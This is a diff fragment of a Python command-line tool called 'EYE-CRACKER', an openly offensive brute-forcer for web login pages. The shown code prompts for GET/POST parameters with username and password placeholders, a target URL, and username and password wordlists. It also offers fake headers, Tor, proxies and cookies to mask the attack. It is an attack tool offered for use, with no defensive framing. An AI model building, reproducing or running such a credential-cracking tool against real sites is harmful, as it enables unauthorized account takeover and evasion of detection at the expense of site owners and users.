+ print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}FALSE[text]{nbold}\n')
+ #auth_type = not in
+ break
+ else:
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] please enter {bold}{red} false {white}{nbold}OR {green}{bold} true {white}{nbold} ONLY !\n')
+ t.sleep(1)
+ continue
+ else:
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] please enter {bold}{red} false {white}{nbold}OR {green}{bold} true {white}{nbold} ONLY !\n')
+ t.sleep(1)
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+
+
+ t.sleep(2)
+
+ while True:
+ try:
+ auth_text = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TEXT{nbold}{f.WHITE}] enter \'{bold}AUTH-TEXT-{auth_type}{nbold}\' [ex: {bold}\'logout\' or \'login\'{nbold}]:#{l_green}{bold} ')
+ if auth_text:
+ print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TEXT{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{auth_text}{nbold}\n')
+ break
+ else:
+ print(f' {f.WHITE}[{f.RED}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] Please enter AUTH---[{auth_type}]---TEXT\n')
+ t.sleep(1)
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+
+
+ t.sleep(1.5)
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] SET REQUEST METHOD {bold}{green} http{white}[s]{blue}-{red}[get|post]{blue}-{yellow}form {white}{nbold}!\n')
+ t.sleep(1)
+
+ print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}GET METHOD {yellow}HELP{nbold}{f.WHITE}] GET [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [get request + PARAMETRES] {white}!\n')
+ t.sleep(1)
+
+ print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}POST METHOD {yellow}HELP{nbold}{f.WHITE}] POST [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [post request + data] {white}!\n')
+ t.sleep(1)
+
+ print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}GET METHOD {yellow}HELP{nbold}{f.WHITE}] GET [FORM] [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [get request + data] {white}!\n')
+ t.sleep(1)
+
+ print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}>{f.WHITE}GET METHOD {yellow}HELP{nbold}{f.WHITE}] GET [AUTH] METHOD {bold}> > >{green} For Crack Login Pages [get request] {white}!\n')
+
+ while True:
+ # http[s]-{get|post}-form
+ try:
+ method = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}SET-METHOD{nbold}{f.WHITE}] enter \'{bold}METHOD{nbold}\' [ex: {bold}\'post\' or \'get\'{nbold} or {bold}\'post-form\'{nbold} or {bold}\'get-form\'{nbold}]:#{l_green}{bold} ').lower()
+ if method == 'post':
+ t.sleep(1)
+ print (f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}P0ST{nbold}\n')
+ break
+
+ if method == 'post-form':
+ t.sleep(1)
+ print (f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}POST-FORM{nbold}\n')
+ break
+
+ if method == 'get-form':
+ t.sleep(1)
+ print (f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}GET{nbold}\n')
+ break
+
+ if method == 'get':
+ t.sleep(1)
+ print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD{nbold}{f.WHITE}]{f.WHITE} >>> {bold}GET{nbold}\n')
+ break
+
+ else:
+ t.sleep(1)
+ print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}METHOD[S]{nbold}{f.WHITE}]{f.WHITE} >>> {bold}PLEASE SET A REQUEST METHOD HTTP[S] >>> {nbold}[ get-form == \'get form method \'] [post-form == \'post form method\'] [get] [post] ! {nbold}{white}\n')
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+ if method == 'get':
+ while True:
+ try:
+ get_param = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL-[GET]-PARAMETRES{nbold}{f.WHITE}] enter \'{bold}GET-PARAMETRES{nbold}\' [ex: /user=$USER$&password=$PASSWORD$ ]:#{yellow}{bold} ')
+ t.sleep(0.5)
+
+ if get_param:
+ if get_param[0:1] == '/':
+ pass
+ else:
+ get_param = '/'+get_param
+
+ if '$USER$' not in get_param:
+ print(f'\n {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need \'$USER$\' but not found please replace \'username\' parameter to $USER$\n')
+ t.sleep(1)
+ continue
+
+ if '$PASSWORD$' not in get_param:
+ print(f'\n {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need \'$PASSWORD$\' but not found please replace \'password\' parameter to $PASSWORD$\n')
+ t.sleep(1)
+ continue
+
+ else:
+ t.sleep(1)
+ print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}GET-PARAMETER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{get_param}{nbold}\n')
+ break
+
+ else:
+ print(f'\n {f.WHITE}{nbold}[{f.RED}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need {bold}\'$PASSWORD$\'{nbold} and {bold}\'$USER$\' {nbold} but {bold}not found{nbold} ! please replace {bold}\'password\' {nbold}parameter to {bold}$PASSWORD${nbold} and \'username\' parameter to {bold}\'$USER$\'{nbold}\n')
+ t.sleep(1)
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+ # break
+ else:
+ pass
+
+
+
+ if method == 'get-form' or method == 'post' or method == 'post-form':
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] FORM METHOD\'S need \'$USER$\' and \'$PASSWORD$\'.')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] You should capture the request data and enter that !{nbold}')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] Replace {bold}{yellow}\'username\'{nbold} Parameter in captured[{bold}{yellow}\'data\'{nbold}] and replace to {bold}{green}$USER${nbold}!\n')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] Replace {bold}{yellow}\'password\'{nbold} Parameter in captured[{bold}{green}\'data\'{nbold}] and replace to {bold}{green}$PASSWORD${nbold} !{nbold}\n')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] FORM METHOD\'S need {bold}{green}\'$USER$\'{nbold} | please replace {bold}\'username\' {nbold}parameter to {green}{bold}$USER${nbold}\n')
+ t.sleep(1)
+ print(f' {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] FORM METHOD\'S need {bold}{green}\'$PASSWORD$\'{nbold} | please replace {bold}\'password\'{nbold} parameter to {bold}{green}$PASSWORD${nbold}\n')
+ while True:
+ try:
+ _userdata = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL-[DATA]{nbold}{f.WHITE}] enter \'{bold}DATA FILE{nbold}\' [ex: data.txt | or paste]:#{yellow}{bold} ')
+ t.sleep(0.5)
+
+ try:
+ user_data = open(_userdata, 'r').read()
+ except Exception as user_data_error:
+ print(f'\n {nbold}{f.WHITE}[{f.YELLOW}{bold}EYE-CRACKER{f.WHITE}{nbold}] {f.YELLOW} ERROR >{nbold} {user_data_error}')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] TRY AGAIN . . . {nbold}\n')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}]{bold} NEED DATA FILE ONLY | ENTER FILE ONLY {nbold}\n')
+ continue
+
+ if user_data:
+ if '$USER$' not in user_data:
+ print(f'\n {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] {method} need {bold}{green}\'$USER$\'{nbold}{f.WHITE} but {yellow}not found{white} please replace {bold}{yellow}\'username\'{nbold}{f.WHITE} parameter to {bold}{green}$USER${nbold}{f.WHITE}\n')
+ t.sleep(1)
+ continue
+
+ if '$PASSWORD$' not in user_data:
+ print(f'\n {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] {method} METHOD need {bold}{green}\'$PASSWORD$\'{nbold}{f.WHITE} but {yellow}not found{yellow} please replace {bold}{yellow}\'password\'{nbold}{f.WHITE} parameter to {bold}{green}$PASSWORD${nbold}{f.WHITE}\n')
+ t.sleep(1)
+ continue
+
+ else:
+ t.sleep(1)
+ print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}DATA{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{user_data}{nbold}\n')
+ break
+
+ else:
+ print(f'\n {f.WHITE}{nbold}[{f.RED}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] GET METHOD need {bold}\'$PASSWORD$\'{nbold} and {bold}\'$USER$\' {nbold} but {bold}not found{nbold} ! please replace {bold}\'password\' {nbold}parameter to {bold}$PASSWORD${nbold} and \'username\' parameter to {bold}\'$USER$\'{nbold} in your captured[{green}{bold}\'data\'{nbold}{white}\n')
+ t.sleep(1)
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+
+
+
+ while True:
+ try:
+ urll = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}TARGET-URL{nbold}{f.WHITE}] enter \'{bold}URL{nbold}\' [ex: cpanel.google.com + with {bold}\'http[s]://\'{nbold}]:#{l_red}{bold} ')
+ print(f'{nbold}')
+
+ if urll:
+ if 'http' in urll or 'https' in urll:
+ print (f' {f.WHITE}[{f.RED}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.CYAN}Skipper{f.WHITE}] SKIPPING ADD {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{urll}{nbold}]\n')
+ t.sleep(2)
+ url = urll
+ break
+ if 'http' not in urll or 'https' not in urll:
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.CYAN}Adder{white}] AUTOMATICALLY ADDING {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{urll}{nbold}]\n')
+ url = (f'http://{urll}')
+ url1 = urll
+ t.sleep(2)
+ break
+ else:
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+
+ print (f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{url}{nbold}\n')
+ t.sleep(2)
+ try:
+ #check host
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYECRACKER/{f.GREEN}CHECK-URL{white}] {nbold}{f.CYAN}FOR VERIFY {f.WHITE}\'{bold}{l_green}CONNECTION{white}{nbold}\'] . . .{nbold} \n')
+ t.sleep(1)
+ try:
+ if 'http://' in url:
+ url1 = url.replace('http://','')
+ if 'https://' in url:
+ url1 = url.replace('https://','')
+ except:
+ pass
+
+ first_req = r.get(url, headers=fake_hed)
+
+ ip = socket.gethostbyname(str(url1))
+# error
+ print (f' {f.WHITE}{nbold}[{f.GREEN}{bold}SUCCESS{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{f.GREEN}Checker {white}] {nbold}{f.GREEN} CONNECTED {white}TO \'{bold}{urll}{nbold}{white}[{l_green}{ip}{white}]\' \n')
+ except Exception as first_req_error:
+ print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}{bold}EYE-CRACKER/{f.GREEN}CHECK-URL{f.WHITE}{nbold}] {nbold}{f.CYAN} CAN\'T CONNECT TO {white}\'{f.CYAN}{bold}{urll}{nbold}\'{nbold} [try without http://[s]] !\n')
+ exit_q = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}URL{nbold}{f.WHITE}] URL IS \'{bold}REAL{nbold}\' AND TRUE ? ARE YOU WANT TO EXIT ? {bold}\'[Y / N]\'{nbold}]:#{l_red}{bold} ').lower()
+
+ if exit_q =='y':
+ sys.exit(0)
+ else:
+ pass
+
+ t.sleep(3)
+
+
+ if url[-1:] == '/':
+ pass
+ else:
+ url = (f'{url}/')
+
+ while True:
+ try:
+ t.sleep(2)
+ user_list = input(f' {nbold}{f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}USER-LIST-FILE{nbold}{f.WHITE} enter \'{bold}FILE{nbold}\' [ex: users.txt] :#{l_red}{bold} ')
+ print(f'{nbold}')
+
+ if user_list:
+ try:
+ user_names = open(user_list, 'r').read().split()
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}USERS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{user_list}{nbold}\n')
+ t.sleep(3)
+ print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] [%s] {bold}{f.CYAN}USERS Loaded {nbold}{f.WHITE} [SUCCESSFULLY] ! \n' % (str(len(user_names))))
+ break
+
+ except Exception as user_open_error:
+ print (f' {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}] CAN\'T OPEN USER FILE , CHECK FILE EXIST ! \n')
+ continue
+ else:
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+ while True:
+ try:
+ pass_list = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PASSWD-LIST-FILE{nbold}{f.WHITE} enter \'{bold}FILE{nbold}\' [ex: passwd.txt] :#{l_red}{bold} ')
+ print(f'{nbold}')
+
+ if pass_list:
+ try:
+ passwords = open(pass_list, 'r').read().split()
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PASSWORDS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{pass_list}{nbold}\n')
+ t.sleep(3)
+ print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] [%s]{bold}{f.CYAN} PASSWORDS Loaded {nbold}{f.WHITE} [SUCCESSFULLY] ! \n' % (str(len(passwords))))
+ break
+
+ except Exception as pass_open_error:
+ print (f' {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}] CAN\'T OPEN PASWD FILE , CHECK FILE EXIST | {white}ERROR {pass_open_error}\n')
+ continue
+ else:
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+ t.sleep(2)
+ print (f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}TIME{white}] if you press{bold}{f.GREEN} ENTER{nbold} delay {bold}{blue}\'SKIP\'{nbold}{white} !!!\n')
+ slep = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{nbold}{f.CYAN}/EYE-CRACKER/{bold}SLEEP{nbold}{f.WHITE}] Enter => Set Delay Time [Default is 1 Sec ! [skip delay]]:#{f.GREEN}{bold} ')
+
+
+ if '.' in slep:
+ print (f' {f.WHITE}[{f.YELLOW}WARNING{f.WHITE}] YOU CAN\'T USING Float\'s in DelayTime ! \n')
+ print (f' {f.WHITE}[{f.YELLOW}{bold}SET-DEFAULT{f.WHITE}{nbold}] USING Default SLEEP TIME (1 sec) \n')
+ slep = 1
+ else:
+ pass
+ try:
+ slep = int(slep)
+ t.sleep(int(slep))
+ except Exception:
+ print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] type {slep} not int !\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.YELLOW}{bold}SET-DEFAULT{f.WHITE}{nbold}] USING Default SLEEP TIME (1 sec) \n')
+ slep = False
+
+ finally:
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}SLEEP{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{slep}{nbold}\n')
+
+ t.sleep(2)
+ print (f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] if you lilke using{bold}{f.GREEN} FAKE HEADERS{nbold} press {bold}{blue}\'ENTER\'{nbold}{white} !!!\n')
+ t.sleep(2)
+ header = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}HEADERS{nbold}{f.WHITE} enter \'{bold}HEADER-FILE{nbold}\' [ex: headers.json - format {bold}\'.json\':#{l_red}{bold} ')
+ try:
+ headers = open(header, 'r').read()
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}HEADERS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{header}{nbold}\n')
+ use_header = True
+ except:
+ use_header = False
+ print (f'\n {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] USING{bold}{f.GREEN} FAKE HEADERS {cyan}\'DEFAULT\'{nbold}{white} !!!\n')
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}HEADERS{nbold}{f.WHITE}]{f.WHITE} >>> {bold}FAKE HEADERS{nbold}\n')
+ headers = fake_hed
+
+ t.sleep(1)
+ tor_q = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXIES{nbold}{f.WHITE} are you like to use \'{bold}TOR?{nbold}\' [ y / n] :#{l_red}{bold} ').lower()
+
+ if tor_q == 'y':
+
+ print (f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] PLEASE RUN {bold}{f.GREEN}\'TOR\'{nbold}{white} !!!\n')
+ tor_use = True
+ t.sleep(3)
+ ariana = input(f' {f.WHITE}[{f.YELLOW}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}ASK-TOR{nbold}{f.WHITE} please run \'{bold}TOR{nbold}\' [ when you runed the tor press enter] :#{l_red}{bold} ')
+ proxy_use = False
+ proxy_type = 'Tor'
+ else:
+ tor_use = False
+ print (f'\n {f.WHITE}{nbold}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USE-TOR?{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{tor_use}{nbold}\n')
+ t.sleep(2)
+
+ prox_q = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXIES{nbold}{f.WHITE} are you like to use \'{bold}Proxy?{nbold}\' [ex: type: socks5, http [ y / n] :#{l_red}{bold} ').lower()
+
+
+ if prox_q:
+ proxy_type = None
+
+ if prox_q == 'y':
+
+ proxy_type = input(f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXIES{nbold}{f.WHITE} enter \'{bold}PROXIES-FORMAT{nbold}\' [ex: proxy.txt . format {bold}\'http / https / socks4 / socks5\':#{l_red}{bold} ').lower()
+ if proxy_type == 'http':
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n')
+ elif proxy_type == 'https':
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n')
+ elif proxy_type == 'socks4':
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n')
+ elif proxy_type == 'socks5':
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n')
+ else:
+ print (f'\n {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.GREEN}INFO{white}] USING{bold}{f.GREEN} PROXY-TYPE {cyan}\'DEFAULT{green} socks5\'{nbold}{white} !!!\n')
+ t.sleep(2)
+ proxy_type == 'socks5'
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{proxy_type}{nbold}\n')
+
+ t.sleep(2)
+ prox = input(f'\n {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}PROXY-FILE{nbold}{f.WHITE} enter \'{bold}PROXY-FILE{nbold}\' [ex: proxy.txt . selected format > {bold}\'{proxy_type}\':#{l_red}{bold} ')
+ print(f'{nbold}')
+ try:
+ proxy = open(prox, 'r').read()
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}PROXY{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{prox}{nbold}\n')
+ proxy_use = True
+ except:
+ print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] CAN\'T OPEN PROXY FILE [{prox_q}] ! \n')
+ t.sleep(2)
+ print (f'\n {f.WHITE}[{f.RED}{bold}ALERT{f.WHITE}{nbold}@{f.CYAN}EYE.CRACKER/{f.YELLOW}WARNING{white}] {bold}{f.GREEN} PROXY-MODE {cyan}\'SKIPPED . . .\'{nbold}{white} !!!\n')
+ proxy_use = False
+ if prox_q == 'n':
+ print (f'\n {f.WHITE}{nbold}[{f.GREEN}INFO{nbold}{f.WHITE}] proxy mode {bold}{f.CYAN} {white}{nbold}[{bold}{green}skipped{nbold}{white} . . . ] ! \n')
+ proxy_use = False
+
+ else:
+ print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] proxy mode {bold}{f.CYAN} {white}[{bold}{green}]skipped{nbold}{white} . . . ] ! \n')
+ proxy_use = False
+
+
+ cooki = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}COOKIES{nbold}{f.WHITE} are you like to use \'{bold}Cookie?{nbold}\' [ex: y / n ]:#{l_red}{bold} ').lower()
+#######
+ if cooki:
+ if cooki == 'n':
+ print (f'\n {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] USING COOKIE {bold}{green} SKIPPED . . . {nbold}{f.WHITE} ! \n')
+ cooki = False
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}COOKIES{nbold}{f.WHITE}]{f.WHITE} >>> {bold}FALSE{nbold}\n\n')
+ t.sleep(1)
+ #print (f' {f.WHITE}[{f.GREEN}INFO{nbold}{f.WHITE}] testing cookies {bold}{f.CYAN} on host {nbold}{f.WHITE} [{url}] ! \n')
+ if cooki == 'y':
+
+ try:
+ cookie = input(f'\n {nbold}{f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}SET-COOKIES{nbold}{f.WHITE} please enter the \'{bold}Cookies{nbold}\' :#{l_red}{bold} ')
+
+ t.sleep(3)
+
+ print (f'\n {f.WHITE}{nbold}[{f.GREEN}INFO{nbold}{f.WHITE}] testing cookies {bold}{f.CYAN} on host {nbold}{f.WHITE} [{url}] ! \n')
+ cookie_test = r.get(url, headers=headers, cookies=str(cookie))
+ cooki = True
+
+ except Exception as cookie_error:
+ print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] CAN\'T Send request to {url} with you\'r cookies | ERROR: [{cookie_error}] ! \n')
+ t.sleep(2)
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}] MAKE REQUEST WITHOUT COOKIE HEADERS ! \n')
+ t.sleep(1)
+ cooki = False
+
+
+
+ print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{bold}INFORMATION{nbold}{f.WHITE}]↓:↓:↓:↓\n')
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}PASSWORD-FILE?{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{pass_list}---[{l_green}%s{white}]{nbold}\n' % (str(len(passwords))))
+ t.sleep(1)
+ print (f' {f.WHITE}[{white}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}EYE-CRACKER/{white}{bold}USER-FILE?{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{user_list}---[{l_green}%s{white}]{nbold}\n' % (str(len(user_names))))
+ t.sleep(1)
